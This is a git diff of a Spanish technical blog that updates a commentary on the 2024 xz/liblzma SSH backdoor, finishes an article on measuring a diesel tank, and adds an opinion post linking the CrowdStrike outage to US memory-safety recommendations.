superficie del tanque provocados por el extractor de gasoil hacia la caldera. De todas formas, para el uso y la línea de tiempo sobra y basta.</p> +<p>El margen de error presente se encuentra en unos 6l. Pero con dicho margen se puede hacer una aproximación fidedigna del rango de capacidad y consumo del tanque.</p> +</body> +</html> +\ No newline at end of file diff --git a/gasoil/resources/cuboide.png b/tanque-gasoil/resources/cuboide.png Binary files differ. diff --git a/gasoil/resources/graph.png b/tanque-gasoil/resources/graph.png Binary files differ. diff --git a/gasoil/resources/subcuboide.png b/tanque-gasoil/resources/subcuboide.png Binary files differ. diff --git a/gasoil/resources/tanque-gasoil.png b/tanque-gasoil/resources/tanque-gasoil.png Binary files differ. diff --git a/gasoil/resources/ultrasonido01.png b/tanque-gasoil/resources/ultrasonido01.png Binary files differ. diff --git a/gasoil/resources/ultrasonido02.jpg b/tanque-gasoil/resources/ultrasonido02.jpg Binary files differ. diff --git a/xz-liblzma/index.html b/xz-liblzma/index.html @@ -12,19 +12,16 @@ <p class="title">Del backdoor de SSH por xz/liblzma</p> <p class="date">1 de abril de 2024 • fjbalon</p> </header> - <p>La biblioteca de <emb>lzma</emb> comprometida activaría a través de un enlace de <emb>openssh</emb> a <emb>sd_notify</emb> (<i>systemd notify</i>) para obtener código oculto en <emb>liblzma</emb> para crear una puerta trasera a cualquier servidor SSH de Debian/Fedora/Ubuntu. Aparentemente, ni siquiera <emb>openssh-selinux</emb> sería seguro en esas condiciones (<emb>glibc</emb>, <emb>x86-64</emb>, fuente de <emb>tarball</emb> preconfigurada de github <emb>5.6.0</emb> y <emb>5.6.1</emb>, <emb>systemd</emb> empaquetado, <emb>openssh</emb>, <emb>rpm</emb> o <emb>deb</emb>, con llamadas habilitadas a <emb>systemd</emb> a través de <emb>openssh.service</emb>). Si la fuente se creó a partir de git con autoconf/make limpio nativo, el código malicioso no se habría incluido. Los sistemas <emb>musl</emb> (Alpine, Gentoo, OpenWRT o Void) no tienen nada de qué preocuparse, simplemente porque ni siquiera pueden compilar <emb>sd_notify</emb> para activar todo esto.</p> -<p>Es muy llamativo porque gran parte de la comunidad de la cruzada contra systemd criticaba a <emb>zstd</emb>, defendiendo en contraposición al amigable <emb>xz</emb>. Sospechaban que el propio <emb>zstd</emb> (o Zstandard, que para quien no lo conozca, es un algoritmo de compresión desarrollado por Facebook para Linux), tenía el riesgo de ser un caballo de Troya para la seguridad y el cifrado, siendo que incluso <emb>zstd</emb> se construye, mayoritariamente, con la biblioteca <emb>lzma</emb> habilitada...</p> -<p>«Es sólo un algoritmo de compresión, no se puede usar para explotar la seguridad de un sistema, es imposible» he llegado a leer por feudos del Internet. Pues este backdoor nos ha demostrado que es totalmente posible.</p> -<p>Buena noticia para Slackware y distros no-systemd: hasta donde los expertos en Debian, Fedora, Arch o Ubuntu han llegado, se necesita necesariamente systemd para 'energizar' la puerta trasera, específicamente un gancho utilizado por Debian para construir <emb>openssh</emb> de cierta manera para que <emb>systemd/dbus/sd-bus/sd-notify</emb> ejecute código malicioso para obtener material de un blob de <emb>lzma</emb> para modificar los binarios en ejecución para abrir la puerta trasera. Es una genialidad, se mire por donde se mire.</p> -<p>Este complejísimo ataque sobre librerías y códigos abiertos -apertura que permite a la comunidad, o a cualquiera que entienda, monitorizar los commits y evolución del código- ha llevado prácticamente 2 años a través de la librería <emb>xz</emb> en github (llevado a cabo principalmente por la cuenta <i>JiaT75</i><sup>1</sup> y otras de dudosa legitimidad), para afectar como decíamos a <emb>liblzma</emb>, el vector de ataque. Tenga en cuenta el lector, que esta gran complejidad para insertar un backdoor es precisamente por la naturaleza del código abierto, en código cerrado probablemente otro gallo cantaría, incluso para la detección.</p> -<anot><sup>1</sup> -JIA CHEONG TAN -> -CIA JHEONG TAN -> -CIA JHON EGTAN -> -CIA JOHN AGENT -> -CIA AGENT JOHN (?) -</anot> -<p>Pero incluso la detección tiene tela, Andres Freund, un trabajador de Microsoft (valga el chiste, salvados por Microsoft, xd) mientras realizaba tests de rendimiento notó que el daemon de SSH tardaba 500ms más de lo habitual... ¡Increible!</p> +<p>Como bien se sabe, este no es un blog de noticias. Ni me interesan por regla común, ni mucho menos quiero ser partícipe o servidor de ellas. Este es un blog que se centra en el mundo de las ideas, de la técnica, de lo permanente, de lo relativamente inmutable. No obstante, me gustaría hacer una noble excepción, no para producir ni informar sobre la noticia, sino para analizar la portentosa técnica que encierra.</p> +<p>Y me refiero a la noticia, que habréis visto en diversos foros de GNU/Linux y feudos de noticias técnicas; y no habréis visto en ningún medio de masas, del intento de backdoor en SSH a través de la biblioteca de <emb>xz/liblzma</emb>.</p> +<p>He considerado que la complejidad del ataque, de una precisión y técnica sobresaliente y digna de un gran intelecto, merece unas letras y un breve análisis.</p> +<p>La biblioteca de <emb>lzma</emb> comprometida activaría, a través de un enlace de <emb>openssh</emb>, a <emb>sd_notify</emb> (<i>systemd notify</i>) para obtener código oculto en <emb>liblzma</emb>. Así, podría crear una puerta trasera a cualquier servidor SSH de Debian/Fedora/Ubuntu.</p> +<p>Aparentemente, ni siquiera <emb>openssh-selinux</emb> sería seguro en esas condiciones (glibc, x86-64, fuente de tarball preconfigurada de Github 5.6.0 y 5.6.1, systemd empaquetado, OpenSSH, RPM o DEB, con llamadas habilitadas a systemd a través de <emb>openssh.service</emb>). Si la fuente se creó a partir de git con autoconf/make limpio nativo, el código malicioso no se habría incluido. Los sistemas musl (Alpine, Gentoo, OpenWRT o Void) no tienen nada de qué preocuparse, simplemente porque ni siquiera pueden compilar <emb>sd_notify</emb>.</p> +<p>Una cosa muy llamativa es cómo gran parte de la comunidad cruzada contra systemd criticaba a <emb>zstd</emb>, defendiendo en contraposición al amigable <emb>xz</emb>. Sospechaban que el propio <emb>zstd</emb> (o Zstandard, que para quien no lo conozca, es un algoritmo de compresión desarrollado por Facebook para Linux), tenía el riesgo de ser un caballo de Troya para la seguridad y el cifrado, siendo que incluso <emb>zstd</emb> se construye, mayoritariamente, con la biblioteca <emb>lzma</emb> habilitada...</p> +<p>«<i>Es sólo un algoritmo de compresión, no se puede usar para explotar la seguridad de un sistema, es imposible</i>» he llegado a leer por feudos del Internet. Pues este backdoor nos ha demostrado que es totalmente posible.</p> +<p>Buena noticia, por lo tanto, para Slackware y otras distros no-systemd: hasta donde los expertos en Debian, Fedora, Arch o Ubuntu han llegado, se necesita necesariamente systemd para 'energizar' la puerta trasera, específicamente un gancho utilizado por Debian para construir <emb>openssh</emb> de cierta manera para que <emb>systemd/dbus/sd-bus/sd-notify</emb> ejecute código malicioso para obtener material de un blob de <emb>lzma</emb> para modificar los binarios en ejecución para abrir la puerta trasera. Es una genialidad, se mire por donde se mire. Y los cruzados contra systemd siguen teniendo, pues, razón.</p> +<p>Este complejísimo ataque sobre librerías y códigos abiertos -apertura que permite a la comunidad, o a cualquiera que entienda, monitorizar los commits y evolución del código- ha llevado prácticamente 2 años a través de la librería <emb>xz</emb> en Github (llevado a cabo principalmente por la cuenta <i>JiaT75</i> y otras de dudosa legitimidad), para afectar como decíamos a <emb>liblzma</emb>, el vector de ataque. Tenga en cuenta el lector, que esta gran complejidad para insertar un backdoor es precisamente por la naturaleza del código abierto, en código cerrado probablemente otro gallo cantaría, incluso para la detección.</p> +<p>Pero incluso la detección tiene tela: Andres Freund, un trabajador de Microsoft (valga el chiste, salvados por Microsoft, xd) mientras realizaba tests de rendimiento notó que el demonio de SSH tardaba 500ms más de lo habitual... ¡Increible!</p> <pre><cita> After observing a few odd symptoms around liblzma (part of the xz package) on diff --git a/yihad-c/index.html b/yihad-c/index.html @@ -0,0 +1,24 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>¿Existe una yihad contra C/C++?</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">¿Existe una yihad contra C/C++?</p> +<p class="date">3 de septiembre de 2024 • fjbalon</p> +</header> +<p>El 19 de julio de 2024 se produjo uno de los mayores fallos informáticos de la historia. No fue un ciberataque per se, sino un fallo provocado por una actualización defectuosa de software de CrowdStrike, una empresa de ciberseguridad que mantiene una herramienta llamada Falcon Sensor. Uno de los archivos de configuración que liberaron con la actualización llevaba un error que provocaba BSOD (pantallazo azul) en los ordenadores afectados, provocando a aproximadamente 8,5 millones de dispositivos Windows.</p> +<p>Esto provocó caos global durante horas: aerolíneas caídas, hospitales, bancos, servicios de emergencia, medios de comunicación, etcétera.</p> +<p>Siendo más concreto, al parecer, el error venía de un mal puntero a memoria en el código C++. Al principio parecía que el error se relacionaba con una desreferencia de un puntero NULL, después, parece que el programa leía punteros de una tabla en bucle, y algunos no eran válidos, provocando el error. Probablemente la causa del mal puntero venía de un archivo de configuración con entradas sin inicializar, como decía. No entraré en más detalle técnico preciso.</p> +<p>Sea como fuera, parece obvio que el causante del problema fue un puntero a memoria. Ahora, sin afán de ser conspiranoico, ¿no parece curioso que ocurra esto tan solo unos meses después de que la Oficina de su Director Nacional de Ciberseguridad (ONCD) de la Casa Blanca hiciera público un llamamiento a la industria del software para promover lenguajes memory-safe? ¿y que posteriormente haya eliminado la publicación? Desde luego, tranquilizador no es.</p> +<p>Básicamente, la Casa Blanca exhorta a dejar de utilizar lenguajes que no garanticen la seguridad de la memoria (mediante punteros) como C o C++, y recomiendan el uso de otros lenguajes que sí la garanticen como Rust, Python, Java, C#, Go…</p> +<p>Es un intento de "ilegalización" positiva (en el sentido de derecho, no moral) de C y C++ por parte del gobierno de EEUU.</p> +<p>También la NSA, que para nada es sospechosa de buscar "inseguridad por diseño", ha desaconsejado el uso de C/C++ por el mismo motivo.</p> +<p>Seguramente haya sido una enorme casualidad que, en el mismo curso, instituciones de gobierno de EEUU desaconsejen programas no memory-safe, y ocurra un fallo a escala global provocado por un fallo de puntero a memoria.</p> +</body> +</html> +\ No newline at end of file